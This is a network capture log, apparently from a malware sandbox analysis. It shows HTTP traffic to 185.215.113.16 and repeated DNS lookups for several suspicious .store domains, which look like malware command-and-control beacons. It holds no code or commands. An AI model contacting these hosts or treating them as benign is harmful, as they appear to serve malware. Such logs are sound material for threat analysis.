Nov 5, 2024 20:52:10.336410046 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336421967 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336431026 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336462975 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336464882 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336492062 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336529970 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336533070 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336555958 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336566925 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336580992 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336589098 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336602926 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336639881 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336647987 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336666107 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336697102 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336702108 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336715937 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336730957 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336744070 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336752892 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336776018 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336776018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336796999 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336802006 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336807013 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336826086 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336836100 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336850882 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336863995 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336878061 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336890936 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336920977 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336947918 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336947918 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336947918 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336990118 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.337017059 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.337039948 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.337042093 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.337065935 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.337066889 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.337085009 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.337095022 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.337133884 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.425007105 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.425086975 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.425100088 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.425123930 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.425129890 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.425165892 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.425677061 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.425712109 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.425735950 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.425750017 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.425751925 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.425796986 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.427951097 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.427985907 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.428009033 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.428020000 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.428030014 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.428061008 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.428515911 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.428567886 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.428612947 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.428621054 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.428658962 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.428673029 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.428709030 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.428745031 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.428751945 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.428777933 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.428781986 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.428812981 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.428821087 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.428849936 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.428858042 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.428883076 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.428888083 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.428925037 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.429049015 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.429095984 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.429102898 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.429138899 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.429147005 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.429182053 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.429272890 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.429307938 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.429323912 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.429342031 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.429343939 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.429377079 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.429378033 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.429411888 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.429449081 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.430003881 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.430037975 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.430079937 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.430092096 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.430126905 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.430135965 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.430169106 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.430181026 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.430222988 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.430233002 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.430269003 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.430303097 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.430310965 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.430337906 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.430341005 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.430372000 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.430372953 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.430422068 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.430423975 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.430457115 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.430460930 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.430495024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.430502892 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.430532932 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.431500912 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.431555986 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.431566000 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.431590080 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.431617975 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.431627035 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.431644917 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.431695938 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.431730986 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.431736946 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.431763887 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.431766987 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.431811094 CET	50011	80	192.168.2.6	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 5, 2024 20:50:52.334223032 CET	192.168.2.6	1.1.1.1	0x4a09	Standard query (0)	tse1.mm.bing.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:12.492136002 CET	192.168.2.6	1.1.1.1	0xe01	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:12.521255970 CET	192.168.2.6	1.1.1.1	0xed61	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:12.551356077 CET	192.168.2.6	1.1.1.1	0xf77f	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:12.575900078 CET	192.168.2.6	1.1.1.1	0xb3d6	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:12.614222050 CET	192.168.2.6	1.1.1.1	0x72d4	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:12.639894962 CET	192.168.2.6	1.1.1.1	0xd8bb	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:25.443082094 CET	192.168.2.6	1.1.1.1	0x14c8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:25.443399906 CET	192.168.2.6	1.1.1.1	0x33bf	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 5, 2024 20:52:28.101532936 CET	192.168.2.6	1.1.1.1	0x1206	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:28.129529953 CET	192.168.2.6	1.1.1.1	0xcc76	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:28.157648087 CET	192.168.2.6	1.1.1.1	0x6255	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:28.182442904 CET	192.168.2.6	1.1.1.1	0xc30b	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:28.210532904 CET	192.168.2.6	1.1.1.1	0x6a08	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:28.955466986 CET	192.168.2.6	1.1.1.1	0x260b	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:28.955847979 CET	192.168.2.6	1.1.1.1	0xe78b	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 5, 2024 20:52:29.945086002 CET	192.168.2.6	1.1.1.1	0x5cc8	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:29.945264101 CET	192.168.2.6	1.1.1.1	0x16b6	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 5, 2024 20:52:32.359292030 CET	192.168.2.6	1.1.1.1	0x2958	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:32.359828949 CET	192.168.2.6	1.1.1.1	0x3dc7	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 5, 2024 20:52:39.692697048 CET	192.168.2.6	1.1.1.1	0x707a	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:39.692876101 CET	192.168.2.6	1.1.1.1	0xc5d3	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 5, 2024 20:52:41.053350925 CET	192.168.2.6	1.1.1.1	0x851	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:41.055144072 CET	192.168.2.6	1.1.1.1	0xc207	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 5, 2024 20:52:41.988168955 CET	192.168.2.6	1.1.1.1	0x60ec	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:42.298463106 CET	192.168.2.6	1.1.1.1	0xaf58	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:42.298860073 CET	192.168.2.6	1.1.1.1	0x3167	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 5, 2024 20:52:42.312097073 CET	192.168.2.6	1.1.1.1	0x33b1	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:42.312477112 CET	192.168.2.6	1.1.1.1	0x7b80	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 5, 2024 20:52:42.315943003 CET	192.168.2.6	1.1.1.1	0x178d	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:42.316066980 CET	192.168.2.6	1.1.1.1	0x32f9	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 5, 2024 20:52:42.323620081 CET	192.168.2.6	1.1.1.1	0x212d	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:42.323884010 CET	192.168.2.6	1.1.1.1	0x9cc2	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 5, 2024 20:52:43.119662046 CET	192.168.2.6	1.1.1.1	0x66ef	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:43.119792938 CET	192.168.2.6	1.1.1.1	0xd18d	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 5, 2024 20:52:44.158500910 CET	192.168.2.6	1.1.1.1	0x6f81	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:44.158694983 CET	192.168.2.6	1.1.1.1	0x4380	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 5, 2024 20:52:44.159039021 CET	192.168.2.6	1.1.1.1	0x4b79	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:44.159231901 CET	192.168.2.6	1.1.1.1	0xaff9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 5, 2024 20:52:44.192257881 CET	192.168.2.6	1.1.1.1	0xfbc8	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:44.192447901 CET	192.168.2.6	1.1.1.1	0x98a6	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 5, 2024 20:52:55.200459957 CET	192.168.2.6	1.1.1.1	0xb6e0	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:55.229468107 CET	192.168.2.6	1.1.1.1	0x54d3	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:55.266048908 CET	192.168.2.6	1.1.1.1	0xfac6	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:55.302830935 CET	192.168.2.6	1.1.1.1	0xde4e	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:55.372195005 CET	192.168.2.6	1.1.1.1	0x651e	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:05.282177925 CET	192.168.2.6	1.1.1.1	0x1bd4	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:05.282289982 CET	192.168.2.6	1.1.1.1	0x18f4	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 5, 2024 20:53:05.282749891 CET	192.168.2.6	1.1.1.1	0xea82	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:05.282871962 CET	192.168.2.6	1.1.1.1	0x9a2b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 5, 2024 20:53:05.303498983 CET	192.168.2.6	1.1.1.1	0xd109	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:05.303621054 CET	192.168.2.6	1.1.1.1	0xf174	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 5, 2024 20:53:17.342101097 CET	192.168.2.6	1.1.1.1	0x3df6	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 5, 2024 20:50:52.342317104 CET	1.1.1.1	192.168.2.6	0x4a09	No error (0)	tse1.mm.bing.net	mm-mm.bing.net.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:50:52.342317104 CET	1.1.1.1	192.168.2.6	0x4a09	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:50:52.342317104 CET	1.1.1.1	192.168.2.6	0x4a09	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:12.514864922 CET	1.1.1.1	192.168.2.6	0xe01	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:12.549040079 CET	1.1.1.1	192.168.2.6	0xed61	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:12.574148893 CET	1.1.1.1	192.168.2.6	0xf77f	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:12.611430883 CET	1.1.1.1	192.168.2.6	0xb3d6	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:12.637095928 CET	1.1.1.1	192.168.2.6	0x72d4	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:12.680177927 CET	1.1.1.1	192.168.2.6	0xd8bb	No error (0)	founpiuer.store		104.21.5.155	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:12.680177927 CET	1.1.1.1	192.168.2.6	0xd8bb	No error (0)	founpiuer.store		172.67.133.135	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:25.450114012 CET	1.1.1.1	192.168.2.6	0x14c8	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:25.450313091 CET	1.1.1.1	192.168.2.6	0x33bf	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 5, 2024 20:52:28.125329971 CET	1.1.1.1	192.168.2.6	0x1206	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:28.151751995 CET	1.1.1.1	192.168.2.6	0xcc76	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:28.180212975 CET	1.1.1.1	192.168.2.6	0x6255	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:28.205266953 CET	1.1.1.1	192.168.2.6	0xc30b	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:28.235140085 CET	1.1.1.1	192.168.2.6	0x6a08	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:28.965825081 CET	1.1.1.1	192.168.2.6	0x260b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:28.965825081 CET	1.1.1.1	192.168.2.6	0x260b	No error (0)	plus.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:28.965845108 CET	1.1.1.1	192.168.2.6	0xe78b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:29.952003956 CET	1.1.1.1	192.168.2.6	0x5cc8	No error (0)	play.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:32.366741896 CET	1.1.1.1	192.168.2.6	0x2958	No error (0)	play.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:39.694833040 CET	1.1.1.1	192.168.2.6	0x460a	No error (0)	svc.ha-teams.office.com	svc.ms-acdc-teams.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:39.701004028 CET	1.1.1.1	192.168.2.6	0x707a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:39.702347040 CET	1.1.1.1	192.168.2.6	0xc5d3	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:39.755136967 CET	1.1.1.1	192.168.2.6	0x5a55	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:39.755136967 CET	1.1.1.1	192.168.2.6	0x5a55	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:39.756021976 CET	1.1.1.1	192.168.2.6	0x202c	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:41.063052893 CET	1.1.1.1	192.168.2.6	0xc207	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:41.810622931 CET	1.1.1.1	192.168.2.6	0x63b0	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:42.011219978 CET	1.1.1.1	192.168.2.6	0x60ec	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:42.309365034 CET	1.1.1.1	192.168.2.6	0xaf58	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:42.309365034 CET	1.1.1.1	192.168.2.6	0xaf58	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:42.309365034 CET	1.1.1.1	192.168.2.6	0xaf58	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:42.309365034 CET	1.1.1.1	192.168.2.6	0xaf58	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:42.320350885 CET	1.1.1.1	192.168.2.6	0x7b80	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:42.320847988 CET	1.1.1.1	192.168.2.6	0x33b1	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:42.323051929 CET	1.1.1.1	192.168.2.6	0x178d	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:42.323652029 CET	1.1.1.1	192.168.2.6	0x32f9	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:42.330702066 CET	1.1.1.1	192.168.2.6	0x212d	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:42.330725908 CET	1.1.1.1	192.168.2.6	0x9cc2	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:43.127111912 CET	1.1.1.1	192.168.2.6	0xd18d	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:43.127124071 CET	1.1.1.1	192.168.2.6	0x66ef	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:43.127124071 CET	1.1.1.1	192.168.2.6	0x66ef	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.65	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:44.165640116 CET	1.1.1.1	192.168.2.6	0x4380	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 5, 2024 20:52:44.165653944 CET	1.1.1.1	192.168.2.6	0x6f81	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:44.165653944 CET	1.1.1.1	192.168.2.6	0x6f81	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:44.166390896 CET	1.1.1.1	192.168.2.6	0x4b79	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:44.166390896 CET	1.1.1.1	192.168.2.6	0x4b79	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:44.166425943 CET	1.1.1.1	192.168.2.6	0xaff9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 5, 2024 20:52:44.199959040 CET	1.1.1.1	192.168.2.6	0x98a6	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
